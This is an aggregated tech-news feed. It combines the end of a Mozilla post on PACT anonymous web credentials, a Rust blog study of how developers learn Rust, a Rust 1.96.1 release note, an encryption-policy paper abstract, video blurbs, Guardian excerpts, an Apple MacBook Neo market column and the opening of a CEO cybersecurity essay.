When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy. 
Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. 
The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.
Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides which Anchor was used, and neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) could be used to bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.

Figure 4: When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server.  
Third, as the user browses, the browser presents the Credential and the Moderator updates the internal state of the Credential. The Moderator can reward behaviour that looks benign and penalize suspicious activity, but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers. Revocation falls out of the same mechanism: a Moderator can refuse to return an updated Credential. 

Figure 5: The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.
In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving users with meaningfully less friction. 
AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent behaves. Sites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. 
Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be joined into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: the site only learns if the user has a valid Credential below the rate limit, or nothing. When the Moderator updates a Credential, it adjusts the credentials state without learning what it is.
The additional privacy given to users from Issuer blinding makes participating in the system more challenging for Moderators. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor more access than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial access has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.
Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust. Multiparty computation systems like Prio enable aggregate scoring without compromising privacy. When users present Credentials, they can provide an encrypted share which identifies the anchor they used and can be privately aggregated to compute the quality of an issuer.
Next Steps 
We think the architecture we’ve sketched for PACT has the right shape, but many of the details still need to be worked out and the entire system needs rigorous privacy and security analysis.
We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. We’ll be bringing draft specifications to these bodies as soon as they’re ready, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. 
If successful, we think we can provide a system which will keep the web open and private, while still giving sites the rate-limiting signal they need. 
Acknowledgements
The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot & Cathie Yun.  


[1] PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.

The post PACT: Anonymous Credentials for the Web appeared first on Mozilla Hacks - the Web developer blog.


The Rust Programming Language Blog: The many journeys of learning Rust
Sat, 25 Jul 2026 08:37:24 +0200
This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.
In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.
As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust
The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO


Rust learning resources
Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant


"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits
It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)


"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab


Learning to work with the borrow checker
We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher
Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs


"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer


Learning by doing
Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust


"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider


Letting go of "clone guilt"
Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.
We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to
The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM


"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries


"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO


Teaching Rust in academia
We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.
What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs
Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate


"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners
We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)


"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider


"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company


Silent attrition
We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider


Feedback on near-bounces from survey
We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.
One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.
Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion
The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions
Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.
That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying
Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.
Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.
Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.
Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.
How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.
Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know
The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.
We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.
The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.


The Rust Programming Language Blog: Announcing Rust 1.96.1
Sat, 25 Jul 2026 08:37:22 +0200
The Rust team has published a new point release of Rust, 1.96.1. Rust is a programming language that is empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, getting Rust 1.96.1 is as easy as:
rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website.

What's in 1.96.1
Rust 1.96.1 fixes:

Missing retries / timeouts in Cargo's HTTP client
Miscompilation in a MIR optimization

It also fixes three CVEs
affecting libssh2 (which is compiled into Cargo):

CVE-2025-15661
CVE-2026-55199
CVE-2026-55200


Contributors to 1.96.1
Many people came together to create Rust 1.96.1. We couldn't have done it without all of you. Thanks!


End-to-End Encryption and “Going Dark”
Sat, 25 Jul 2026 08:37:01 +0200
New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.
This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...


The Problem With End-to-End Encryption
Sat, 25 Jul 2026 08:36:20 +0200
Author: Techquickie - Bewertung: 6635x - Views:137446 
Thanks to our sponsor Bitdefender! Try their powerful Scam Protection free for 90 days: https://bitdefend.me/90Linus



Apps like Signal, WhatsApp, and iMessage promise nobody can read your messages. Mostly true - but in 2026, encrypted chat has three gaps you can't ignore, and the biggest one might already be sitting on your own computer. We sat down with David Wiseman, BlackBerry's VP of Secure Communications, to find out what end-to-end encryption actually protects, what it doesn't, and how attackers are walking around it without breaking a single line of code.



Leave a reply with your requests for future episodes.



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Timestamps:

0:00 How Encrypted Chats Work

1:45 Signal, WhatsApp, iMessage, and Telegram

2:19 Sponsor

2:57 Metadata Still Leaks

4:02 Phishing, Linked Devices, and Recall

5:17 How to Protect Yourself

5:38 Credits



Claude Just Revealed AI's Biggest Problem
Sat, 25 Jul 2026 08:35:47 +0200
Author: Two Minute Papers - Bewertung: 3605x - Views:76846 
❤️ Check out Lambda here and sign up for their GPU Cloud: https://lambda.ai/papers



📝 The paper is available here:

https://www.anthropic.com/research/AI-assistance-coding-skills



🙏 We would like to thank our generous Patreon supporters who make Two Minute Papers possible:

Adam Bridges, Benji Rabhan, B Shang, Cameron Navor, Charles Ian Norman Venn, Christian Ahlin, Eric T, Fred R, Gordon Child, Juan Benet, Michael Tedder, Owen Skarpness, Richard Sundvall, Ryan Stankye, Shawn Becker, Steef, Taras Bobrovytsky, Tazaur Sagenclaw, Tybie Fitzhugh, Ueli Gallizzi



‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT
Sat, 25 Jul 2026 07:28:08 +0200
Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?
As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.
When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”
 Continue reading...


Chasing new skills, going back to basics and pushing for collective action: how software engineers are adapting to AI
Sat, 25 Jul 2026 07:03:26 +0200
Software engineering was one of the best-paying professions in the US in 2022, but the advent of AI has disrupted it, leading to several layoffs and underemployment
Every weekday, Matt, a software engineer, looks forward to his four-hour train commute to Pawling, New York. It’s time he uses to work on his own project: a browser-based video game for which he writes every line of code himself.
“I am actively trying to keep my axe sharp,” said Matt, who did not want to use his actual name, to protect his employment. In the last six months, Matt’s job has increasingly shifted away from coding, problem solving and software architecture towards reviewing code generated by artificial intelligence. Convinced that the shift will weaken his skills, he’s doing what he can to keep them intact. “I am trying not to leverage AI where I can.”
 Continue reading...


MacBook Neo’s success wasn’t luck, it was a plan
Sat, 25 Jul 2026 06:47:11 +0200

		
					  
						




It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the company is already planning a powerful follow-up.



That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. 



The numbers don’t lie



“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said in a post Wednesday. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. 



Recent IDC data gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.



“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director Olivier Blanchard said when the Neo was released. 



Neo 2.0 is already coming



In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is already plotting the path toward MacBook Neo 2. Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.



Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. 



That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. 



“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”



This was never about luck



This isn’t solely a market take about competition, it’s about planning.



Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.



The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.



With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of even more significant market change. 



You can follow me on social media! Join me on BlueSky,  LinkedIn, Mastodon and subscribe to my daily Apple-related news summaries at The Core.



3 cybersecurity issues that should keep every CEO awake at night
Sat, 25 Jul 2026 06:16:50 +0200

		
					  
						




For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.



The obvious conclusion is that we are asking the wrong questions.



Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.



In my view, there are three far more fundamental issues that deserve the attention of every chief executive.



1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality



Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.



It is the growing disconnect between executive perception and operational reality.



Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.



Unfortunately, cyber attackers do not read dashboards.



Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.



The problem is rarely a lack of effort.



It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.



